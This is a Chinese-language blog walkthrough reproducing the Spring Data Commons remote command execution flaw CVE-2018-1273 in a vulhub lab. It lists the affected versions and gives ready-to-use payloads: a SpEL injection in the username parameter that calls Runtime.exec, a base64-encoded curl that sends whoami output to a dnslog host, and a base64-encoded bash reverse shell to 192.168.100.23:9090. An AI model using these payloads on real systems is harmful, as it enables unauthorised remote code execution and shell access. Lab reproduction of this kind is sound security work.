Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell
本文转自樱浅沐冰 并作补充
影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
复现过程
vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
一、验证
这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
拼接命令
curl
whoami.t15gcx.dnslog.cn
base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
Exp
替换对应的payload,重新发送数据包
成功反弹回显到dnslog上username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=
二、反弹shell
反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1
base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
参考文章
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273